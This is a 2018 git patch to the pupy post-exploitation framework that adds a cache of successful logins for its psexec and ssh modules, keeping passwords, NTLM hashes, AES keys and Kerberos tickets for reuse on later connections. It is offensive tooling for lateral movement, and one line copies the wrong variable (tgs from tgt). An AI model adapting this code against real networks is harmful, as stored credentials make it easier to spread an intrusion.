From 2fcbea61b0bf36d7196902ae2abd09b5a65f1f54 Mon Sep 17 00:00:00 2001
From: Oleksii Shevchuk <alxchk@gmail.com>
Date: Sat, 22 Sep 2018 07:20:19 +0300
Subject: [PATCH] Add tiny credentials cache (for now covers ssh and psexec)

---
 pupy/packages/all/pupyutils/psexec.py | 58 +++++++++++++++++++++++++++
 pupy/packages/all/ssh.py              | 13 +++++-
 pupy/pp.py                            |  1 +
 3 files changed, 71 insertions(+), 1 deletion(-)

diff --git a/pupy/packages/all/pupyutils/psexec.py b/pupy/packages/all/pupyutils/psexec.py
index 35a7e451..453c0178 100644
--- a/pupy/packages/all/pupyutils/psexec.py
+++ b/pupy/packages/all/pupyutils/psexec.py
@@ -26,6 +26,21 @@ from impacket.system_errors import \
      ERROR_SERVICE_REQUEST_TIMEOUT
 from impacket.smbconnection import SMBConnection, SessionError, SMB_DIALECT
 
+SUCCESS_CACHE  = {}
+
+try:
+    import pupy
+
+    if not hasattr(pupy, 'creds_cache'):
+        setattr(pupy, 'creds_cache', {})
+
+    if 'psexec' not in pupy.creds_cache:
+        pupy.creds_cache['psexec'] = {}
+
+    SUCCESS_CACHE = pupy.creds_cache['psexec']
+except ImportError:
+    pass
+
 PERM_DIR       = ''.join(random.sample(string.ascii_letters, 10))
 BATCH_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) + '.bat'
 SMBSERVER_DIR  = ''.join(random.sample(string.ascii_letters, 10))
@@ -78,6 +93,31 @@ class ConnectionInfo(object):
         if type(domain) == unicode:
             domain = domain.encode('utf-8')
 
+        cached_info = None
+
+        if user:
+            if domain:
+                user_key = '{}\\{}'.format(user, domain)
+            else:
+                user_key = user
+
+            cached_info = SUCCESS_CACHE.get(frozenset([host, port, user_key]))
+        else:
+            for known_auth in SUCCESS_CACHE.itervalues():
+                if known_auth['host'] == host and known_auth['port'] == port:
+                    cached_info = known_auth
+                    break
+
+        if cached_info:
+            user = user or cached_info.get('user', '')
+            domain = domain or cached_info.get('domain', '')
+            password = password or cached_info.get('password', '')
+            ntlm = ntlm or cached_info.get('ntlm', '')
+            aes = aes or cached_info.get('aes', '')
+            tgt = tgt or cached_info.get('tgt', '')
+            tgs = tgt or cached_info.get('tgs', '')
+            kdc = kdc or cached_info.get('kdc', '')
+
         self.host = host
         self.port = int(port)
         self.user = user
@@ -142,6 +182,24 @@ class ConnectionInfo(object):
                 smb.login(self.user, self.password, self.domain, self.lm, self.nt)
 
             self.valid = True
+
+            user_key = self.user
+            if self.domain:
+                user_key = self.domain + '\\' + self.user
+
+            SUCCESS_CACHE[frozenset([self.host, self.port, user_key])] = {
+                'host': self.host,
+                'port': self.port,
+                'user': self.user,
+                'password': self.password,
+                'domain': self.domain,
+                'ntlm': self.ntlm,
+                'aes': self.aes,
+                'tgt': self.TGT,
+                'tgs': self.TGS,
+                'kdc': self.KDC
+            }
+
             return smb, None
 
         except SessionError, e:
diff --git a/pupy/packages/all/ssh.py b/pupy/packages/all/ssh.py
index 66c007d3..f8455ca4 100644
--- a/pupy/packages/all/ssh.py
+++ b/pupy/packages/all/ssh.py
@@ -39,8 +39,20 @@ from socket import error as socket_error, gaierror
 
 from rpyc import async
 
+SUCCESS_CACHE = {}
+
 try:
+    import pupy
     from pupy import obtain
+
+    if not hasattr(pupy, 'creds_cache'):
+        setattr(pupy, 'creds_cache', {})
+
+    if 'ssh' not in pupy.creds_cache:
+        pupy.creds_cache['ssh'] = {}
+
+    SUCCESS_CACHE = pupy.creds_cache['ssh']
+
 except ImportError:
     def obtain(x):
         return x
@@ -48,7 +60,6 @@ except ImportError:
 class SSHNotConnected(Exception):
     pass
 
-SUCCESS_CACHE = {}
 KEY_CLASSES = [RSAKey, ECDSAKey, DSSKey]
 if Ed25519Key:
     KEY_CLASSES.append(Ed25519Key)
diff --git a/pupy/pp.py b/pupy/pp.py
index 1910e978..b44f82a5 100755
--- a/pupy/pp.py
+++ b/pupy/pp.py
@@ -489,6 +489,7 @@ setattr(pupy, 'Task', Task)
 setattr(pupy, 'connected', False)
 setattr(pupy, 'obtain', safe_obtain) # I don't see a better spot to put this util
 setattr(pupy, 'cid', CONFIGURATION_CID)
+setattr(pupy, 'creds_cache', {})
 
 class UpdatableModuleNamespace(ModuleNamespace):
     __slots__ = ['__invalidate__']